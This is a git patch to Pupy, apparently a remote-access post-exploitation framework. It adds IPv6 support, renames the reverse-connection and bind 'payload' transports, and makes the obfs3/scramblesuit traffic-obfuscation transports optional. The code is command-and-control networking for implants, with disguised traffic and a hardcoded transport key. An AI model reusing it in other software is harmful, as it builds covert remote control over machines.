From e27887540d4b7b2e58a53c1acd500b519d2c95a8 Mon Sep 17 00:00:00 2001
From: n1nj4sec <contact@n1nj4.eu>
Date: Fri, 27 May 2016 18:17:03 +0200
Subject: [PATCH] ipv6 support

---
 pupy/network/clients.py              | 15 ++++----
 pupy/network/conf.py                 | 51 ++++++++++++++++++++--------
 pupy/network/launchers/auto_proxy.py |  2 +-
 pupy/network/launchers/bind.py       |  2 +-
 pupy/network/launchers/simple.py     |  2 +-
 pupy/network/servers.py              |  4 ++-
 pupy/network/streams.py              | 10 ++++++
 pupy/pupy.conf                       |  4 ++-
 pupy/pupylib/PupyCmd.py              |  4 +--
 pupy/pupylib/PupyServer.py           | 13 +++++--
 pupy/pupysh.py                       |  2 +-
 11 files changed, 75 insertions(+), 34 deletions(-)

diff --git a/pupy/network/clients.py b/pupy/network/clients.py
index 7ab913c8..96c90bfd 100644
--- a/pupy/network/clients.py
+++ b/pupy/network/clients.py
@@ -10,19 +10,18 @@ class PupyClient(object):
 		raise NotImplementedError("connect not implemented")
 
 class PupyTCPClient(PupyClient):
-	def __init__(self, family = socket.AF_INET, socktype = socket.SOCK_STREAM, proto = 0, timeout = 3, nodelay = False, keepalive = False):
+	def __init__(self, family = socket.AF_UNSPEC, socktype = socket.SOCK_STREAM, timeout = 3, nodelay = False, keepalive = False):
 		super(PupyTCPClient, self).__init__()
 		self.sock=None
 
-		self.family=socket.AF_INET
-		self.socktype=socket.SOCK_STREAM
-		self.proto=proto
+		self.family=family
+		self.socktype=socktype
 		self.timeout=timeout
 		self.nodelay=nodelay
 		self.keepalive=keepalive
 
 	def connect(self, host, port):
-		family, socktype, proto, _, sockaddr = socket.getaddrinfo(host, port, self.family, self.socktype, self.proto)[0]
+		family, socktype, proto, _, sockaddr = socket.getaddrinfo(host, port, self.family, self.socktype)[0]
 		s = socket.socket(family, socktype, proto)
 		s.settimeout(self.timeout)
 		s.connect(sockaddr)
@@ -32,7 +31,7 @@ class PupyTCPClient(PupyClient):
 			s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
 			# Linux specific: after 10 idle minutes, start sending keepalives every 5 minutes. 
 			# Drop connection after 10 failed keepalives
-		if hasattr(socket, "TCP_KEEPIDLE") and hasattr(socket, "TCP_KEEPINTVL") and hasattr(socket, "TCP_KEEPCNT")    :
+		if hasattr(socket, "TCP_KEEPIDLE") and hasattr(socket, "TCP_KEEPINTVL") and hasattr(socket, "TCP_KEEPCNT"):
 			s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 10 * 60)
 			s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 5 * 60)
 			s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 10)
@@ -57,7 +56,7 @@ class PupyProxifiedTCPClient(PupyTCPClient):
 
 	def connect(self, host, port):
 		socks.set_default_proxy(proxy_type=socks.PROXY_TYPES[self.proxy_type], addr=self.proxy_addr, port=self.proxy_port, rdns=True, username=self.proxy_username, password=self.proxy_password)
-		family, socktype, proto, _, sockaddr = socket.getaddrinfo(host, port, self.family, self.socktype, self.proto)[0]
+		family, socktype, proto, _, sockaddr = socket.getaddrinfo(host, port, self.family, self.socktype)[0]
 		s=socks.socksocket(family, socktype, proto)
 		s.settimeout(self.timeout)
 		s.connect(sockaddr)
@@ -67,7 +66,7 @@ class PupyProxifiedTCPClient(PupyTCPClient):
 			s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
 			# Linux specific: after 10 idle minutes, start sending keepalives every 5 minutes. 
 			# Drop connection after 10 failed keepalives
-		if hasattr(socket, "TCP_KEEPIDLE") and hasattr(socket, "TCP_KEEPINTVL") and hasattr(socket, "TCP_KEEPCNT")    :
+		if hasattr(socket, "TCP_KEEPIDLE") and hasattr(socket, "TCP_KEEPINTVL") and hasattr(socket, "TCP_KEEPCNT"):
 			s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 10 * 60)
 			s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 5 * 60)
 			s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 10)
diff --git a/pupy/network/conf.py b/pupy/network/conf.py
index 4feeae80..6d08c889 100644
--- a/pupy/network/conf.py
+++ b/pupy/network/conf.py
@@ -6,14 +6,19 @@ import os
 import logging
 from .servers import PupyTCPServer
 from .clients import PupyTCPClient, PupySSLClient, PupyProxifiedTCPClient, PupyProxifiedSSLClient
-from .transports import dummy, b64
-from .transports.obfs3 import obfs3
+from .transports import dummy, b64, http
+try:
+	from .transports.obfs3 import obfs3
+except ImportError as e:
+	#to make pupy works even without scramblesuit dependencies
+	logging.warning("%s. The obfs3 transport has been disabled."%e)
+	obfs3=None
 
 try:
 	from .transports.scramblesuit import scramblesuit
 except ImportError as e:
 	#to make pupy works even without scramblesuit dependencies
-	logging.warning("%s. The transport has been disabled."%e)
+	logging.warning("%s. The scramblesuit transport has been disabled."%e)
 	scramblesuit=None
 from .streams import PupySocketStream
 from .launchers.simple import SimpleLauncher
@@ -38,8 +43,8 @@ scramblesuit_passwd="th!s_iS_pupy_sct_k3y"
 transports={}
 launchers={}
 
-transports["tcp_ssl"]={
-		"info" : "Simple reverse TCP payload with SSL",
+transports["ssl"]={
+		"info" : "TCP transport wrapped with SSL",
 		"server" : PupyTCPServer,
 		"client": PupySSLClient,
 		"client_kwargs" : {},
@@ -50,8 +55,8 @@ transports["tcp_ssl"]={
 		"client_transport_kwargs": {},
 		"server_transport_kwargs": {},
 	}
-transports["tcp_ssl_proxy"]={
-		"info" : "Simple reverse TCP payload with SSL passing through a SOCKS4/SOCKS5/HTTP proxy",
+transports["ssl_proxy"]={
+		"info" : "TCP transport wrapped with SSL and passing through a SOCKS4/SOCKS5/HTTP proxy",
 		"server" : PupyTCPServer,
 		"client": PupyProxifiedSSLClient,
 		"client_kwargs" : {'proxy_addr': None, 'proxy_port': None, 'proxy_type':'HTTP'},
@@ -63,7 +68,7 @@ transports["tcp_ssl_proxy"]={
 		"server_transport_kwargs": {},
 	}
 transports["tcp_cleartext"]={
-		"info" : "Simple reverse TCP payload (cleartext)",
+		"info" : "Simple TCP transport transmitting in cleartext",
 		"server" : PupyTCPServer,
 		"client": PupyTCPClient,
 		"client_kwargs" : {},
@@ -75,7 +80,7 @@ transports["tcp_cleartext"]={
 		"server_transport_kwargs": {},
 	}
 transports["tcp_cleartext_proxy"]={
-		"info" : "Simple reverse TCP payload in cleartext passing through a SOCKS4/SOCKS5/HTTP proxy",
+		"info" : "TCP transport transmitting in cleartext and passing through a SOCKS4/SOCKS5/HTTP proxy",
 		"server" : PupyTCPServer,
 		"client": PupyProxifiedTCPClient,
 		"client_kwargs" : {'proxy_addr':'127.0.0.1', 'proxy_port':8080, 'proxy_type':'HTTP'},
@@ -87,7 +92,7 @@ transports["tcp_cleartext_proxy"]={
 		"server_transport_kwargs": {},
 	}
 transports["tcp_base64"]={
-		"info" : "Reverse TCP payload with base64 encoding",
+		"info" : "TCP transport with base64 encoding",
 		"server" : PupyTCPServer,
 		"client": PupyTCPClient,
 		"client_kwargs" : {},
@@ -98,21 +103,37 @@ transports["tcp_base64"]={
 		"client_transport_kwargs": {},
 		"server_transport_kwargs": {},
 	}
-transports["obfs3"]={
-		"info" : "Reverse TCP Payload using obfs3 transport",
+"""
+transports["http_cleartext"]={
+		"info" : "TCP transport using HTTP with base64 encoded payloads",
 		"server" : PupyTCPServer,
 		"client": PupyTCPClient,
 		"client_kwargs" : {},
 		"authenticator" : None,
 		"stream": PupySocketStream ,
-		"client_transport" : obfs3.Obfs3Client,
-		"server_transport" : obfs3.Obfs3Server,
+		"client_transport" : http.PupyHTTPClient,
+		"server_transport" : http.PupyHTTPServer,
 		"client_transport_kwargs": {},
 		"server_transport_kwargs": {},
 	}
+"""
+
+if obfs3:
+	transports["obfs3"]={
+			"info" : "TCP transport using obfsproxy's obfs3 transport",
+			"server" : PupyTCPServer,
+			"client": PupyTCPClient,
+			"client_kwargs" : {},
+			"authenticator" : None,
+			"stream": PupySocketStream ,
+			"client_transport" : obfs3.Obfs3Client,
+			"server_transport" : obfs3.Obfs3Server,
+			"client_transport_kwargs": {},
+			"server_transport_kwargs": {},
+		}
 if scramblesuit:
 	transports["scramblesuit"]={
-			"info" : "Reverse TCP Payload using scramblesuit transport",
+			"info" : "TCP transport using the obfsproxy's scramblesuit transport",
 			"server" : PupyTCPServer,
 			"client": PupyTCPClient,
 			"client_kwargs" : {},
diff --git a/pupy/network/launchers/auto_proxy.py b/pupy/network/launchers/auto_proxy.py
index a41a3851..644589cc 100644
--- a/pupy/network/launchers/auto_proxy.py
+++ b/pupy/network/launchers/auto_proxy.py
@@ -136,7 +136,7 @@ class AutoProxyLauncher(BaseLauncher):
 	def init_argparse(self):
 		self.arg_parser = LauncherArgumentParser(prog="auto_proxy", description=self.__doc__)
 		self.arg_parser.add_argument('--host', metavar='<host:port>', required=True, help='host:port of the pupy server to connect to')
-		self.arg_parser.add_argument('--transport', choices=[x for x in network.conf.transports.iterkeys() if not x.endswith("_proxy")], default="tcp_ssl", help="the transport to use ! (the server needs to be configured with the same transport) ")
+		self.arg_parser.add_argument('--transport', choices=[x for x in network.conf.transports.iterkeys() if not x.endswith("_proxy")], default="ssl", help="the transport to use ! (the server needs to be configured with the same transport) ")
 		self.arg_parser.add_argument('transport_args', nargs=argparse.REMAINDER, help="change some transport arguments ex for proxy transports: proxy_addr=192.168.0.1 proxy_port=8080 proxy_type=HTTP")
 	def parse_args(self, args):
 		self.args=self.arg_parser.parse_args(args)
diff --git a/pupy/network/launchers/bind.py b/pupy/network/launchers/bind.py
index ef6340b3..c17fbda3 100644
--- a/pupy/network/launchers/bind.py
+++ b/pupy/network/launchers/bind.py
@@ -17,7 +17,7 @@ class BindLauncher(BaseLauncher):
 		self.arg_parser = LauncherArgumentParser(prog="bind", description=self.__doc__)
 		self.arg_parser.add_argument('--port', metavar='<port>', type=int, required=True, help='the port to bind on')
 		self.arg_parser.add_argument('--host', metavar='<ip>', default='0.0.0.0', help='the ip to listen on (default 0.0.0.0)')
-		self.arg_parser.add_argument('--transport', choices=[x for x in network.conf.transports.iterkeys()], default="tcp_ssl", help="the transport to use ! (the pupysh.sh --connect will need to be configured with the same transport) ")
+		self.arg_parser.add_argument('--transport', choices=[x for x in network.conf.transports.iterkeys()], default="ssl", help="the transport to use ! (the pupysh.sh --connect will need to be configured with the same transport) ")
 		self.arg_parser.add_argument('--password', default=config.get("pupyd", "bind_password").strip(), help="Add a password to connect to the bind payload. WARNING: it could not be safe, a safer alternative would be to use rpyc authenticators with SSL client certificates")
 		self.arg_parser.add_argument('transport_args', nargs=argparse.REMAINDER, help="change some transport arguments")
 
diff --git a/pupy/network/launchers/simple.py b/pupy/network/launchers/simple.py
index 6f8ca8da..8056cc0d 100644
--- a/pupy/network/launchers/simple.py
+++ b/pupy/network/launchers/simple.py
@@ -9,7 +9,7 @@ class SimpleLauncher(BaseLauncher):
 	def init_argparse(self):
 		self.arg_parser = LauncherArgumentParser(prog="connect", description=self.__doc__)
 		self.arg_parser.add_argument('--host', metavar='<host:port>', required=True, help='host:port of the pupy server to connect to')
-		self.arg_parser.add_argument('--transport', choices=[x for x in network.conf.transports.iterkeys()], default="tcp_ssl", help="the transport to use ! (the server needs to be configured with the same transport) ")
+		self.arg_parser.add_argument('--transport', choices=[x for x in network.conf.transports.iterkeys()], default="ssl", help="the transport to use ! (the server needs to be configured with the same transport) ")
 		self.arg_parser.add_argument('transport_args', nargs=argparse.REMAINDER, help="change some transport arguments ex for proxy transports: proxy_addr=192.168.0.1 proxy_port=8080 proxy_type=HTTP")
 	def parse_args(self, args):
 		self.args=self.arg_parser.parse_args(args)
diff --git a/pupy/network/servers.py b/pupy/network/servers.py
index 73a8e3b0..e0903904 100644
--- a/pupy/network/servers.py
+++ b/pupy/network/servers.py
@@ -35,7 +35,9 @@ class PupyTCPServer(ThreadPoolServer):
 		else:
 			credentials = None
 		# build a connection
-		h, p = sock.getpeername()
+		addrinfo = sock.getpeername()
+		h=addrinfo[0]
+		p=addrinfo[1]
 		config = dict(self.protocol_config, credentials=credentials, connid="%s:%d"%(h, p))
 		return Connection(self.service, Channel(self.stream_class(sock, self.transport_class, self.transport_kwargs)), config=config)
 
diff --git a/pupy/network/streams.py b/pupy/network/streams.py
index c0e55795..01cda433 100644
--- a/pupy/network/streams.py
+++ b/pupy/network/streams.py
@@ -21,6 +21,12 @@ class addGetPeer(object):
 	def getPeer(self):
 		return self.peer
 
+def monitor(up, down):
+	while True:
+		print "up: %s"%len(up)
+		print "down: %s"%len(down)
+		time.sleep(2)
+
 class PupySocketStream(SocketStream):
 	def __init__(self, sock, transport_class, transport_kwargs={}):
 		super(PupySocketStream, self).__init__(sock)
@@ -31,6 +37,10 @@ class PupySocketStream(SocketStream):
 		self.upstream=Buffer(transport_func=addGetPeer(("127.0.0.1", 443)))
 		self.downstream=Buffer(on_write=self._upstream_recv, transport_func=addGetPeer(sock.getpeername()))
 
+		t=threading.Thread(target=monitor, args=(self.upstream, self.downstream))
+		t.daemon=True
+		t.start()
+
 		self.transport=transport_class(self, **transport_kwargs)
 		self.on_connect()
 		#self.async_read_thread=threading.Thread(target=self._downstream_recv_loop)
diff --git a/pupy/pupy.conf b/pupy/pupy.conf
index 112057ef..184522bd 100644
--- a/pupy/pupy.conf
+++ b/pupy/pupy.conf
@@ -1,6 +1,8 @@
 [pupyd]
-address = 0.0.0.0
+#listen on all interfaces by default
+#address = 192.168.0.1
 port = 443
+ipv6 = true
 keyfile = crypto/server.pem
 certfile = crypto/cert.pem
 
diff --git a/pupy/pupylib/PupyCmd.py b/pupy/pupylib/PupyCmd.py
index bc7452b4..611e9cba 100644
--- a/pupy/pupylib/PupyCmd.py
+++ b/pupy/pupylib/PupyCmd.py
@@ -176,8 +176,8 @@ class PupyCmd(cmd.Cmd):
 		self.intro += color(BANNER_INFO, 'darkgrey')
 		if sys.platform=="win32":
 			self.intro+="\n"+self.format_warning("You are running Pupy server on Windows. Pupy server works best on linux. Pupy server on windows has not been really tested and there is probably a lot of bugs. I try my best to code in a portable way but it don't always find the time to fix everything. If you find the courage to patch non portable code, I will gladly accept push requests ! :)\n")
-			
-		self.intro += "\n"+self.format_srvinfo("Server started on %s:%s with transport %s%s"%(self.pupsrv.address, self.pupsrv.port, self.pupsrv.transport, (" and transport_args=%s"%repr(self.pupsrv.transport_kwargs) if self.pupsrv.transport_kwargs else ""))).rstrip("\n")
+
+		self.intro += "\n"+self.format_srvinfo("Server started on%s port %s with transport %s%s"%((" "+self.pupsrv.address if self.pupsrv.address else ""), self.pupsrv.port, self.pupsrv.transport, (" and transport_args=%s"%repr(self.pupsrv.transport_kwargs) if self.pupsrv.transport_kwargs else ""))).rstrip("\n")
 			
 		self.raw_prompt= color('>> ','blue')
 		self.prompt = color('>> ','blue', prompt=True)
diff --git a/pupy/pupylib/PupyServer.py b/pupy/pupylib/PupyServer.py
index f01b6cd4..36a088bf 100644
--- a/pupy/pupylib/PupyServer.py
+++ b/pupy/pupylib/PupyServer.py
@@ -42,7 +42,7 @@ import os.path
 
 
 class PupyServer(threading.Thread):
-	def __init__(self, transport, transport_kwargs, port=None):
+	def __init__(self, transport, transport_kwargs, port=None, ipv6=None):
 		super(PupyServer, self).__init__()
 		self.daemon=True
 		self.server=None
@@ -58,7 +58,14 @@ class PupyServer(threading.Thread):
 			self.port=self.config.getint("pupyd", "port")
 		else:
 			self.port=port
-		self.address=self.config.get("pupyd", "address")
+		if ipv6 is None:
+			self.ipv6=self.config.getboolean("pupyd", "ipv6")
+		else:
+			self.ipv6=ipv6
+		try:
+			self.address=self.config.get("pupyd", "address")
+		except configparser.NoOptionError:
+			self.address=''
 		self.handler=None
 		self.handler_registered=threading.Event()
 		self.transport=transport
@@ -341,7 +348,7 @@ class PupyServer(threading.Thread):
 			authenticator=t['authenticator']()
 		else:
 			authenticator=None
-		self.server = t['server'](PupyService.PupyService, port = self.port, hostname=self.address, authenticator=authenticator, stream=t['stream'], transport=t['server_transport'], transport_kwargs=transport_kwargs)
+		self.server = t['server'](PupyService.PupyService, port = self.port, hostname=self.address, authenticator=authenticator, stream=t['stream'], transport=t['server_transport'], transport_kwargs=transport_kwargs, ipv6=self.ipv6)
 		self.server.start()
 
 
diff --git a/pupy/pupysh.py b/pupy/pupysh.py
index 1e6876a5..1ed59c2f 100755
--- a/pupy/pupysh.py
+++ b/pupy/pupysh.py
@@ -43,7 +43,7 @@ if __name__=="__main__":
 	parser = argparse.ArgumentParser(prog='ptrconsole', description="Pupy console")
 	parser.add_argument('--log-lvl', '--lvl', help="change log verbosity", dest="loglevel", choices=["DEBUG","INFO","WARNING","ERROR"], default="WARNING")
 	parser.add_argument('--version', help="print version and exit", action='store_true')
-	parser.add_argument('--transport', choices=[x for x in network.conf.transports.iterkeys()], default='tcp_ssl', help="change the transport ! :-)")
+	parser.add_argument('--transport', choices=[x for x in network.conf.transports.iterkeys()], default='ssl', help="change the transport ! :-)")
 	parser.add_argument('--transport-args', help="... --transport-args 'OPTION1=value OPTION2=val ...' ...")
 	parser.add_argument('--port', '-p', help="change the listening port", type=int)
 	args=parser.parse_args()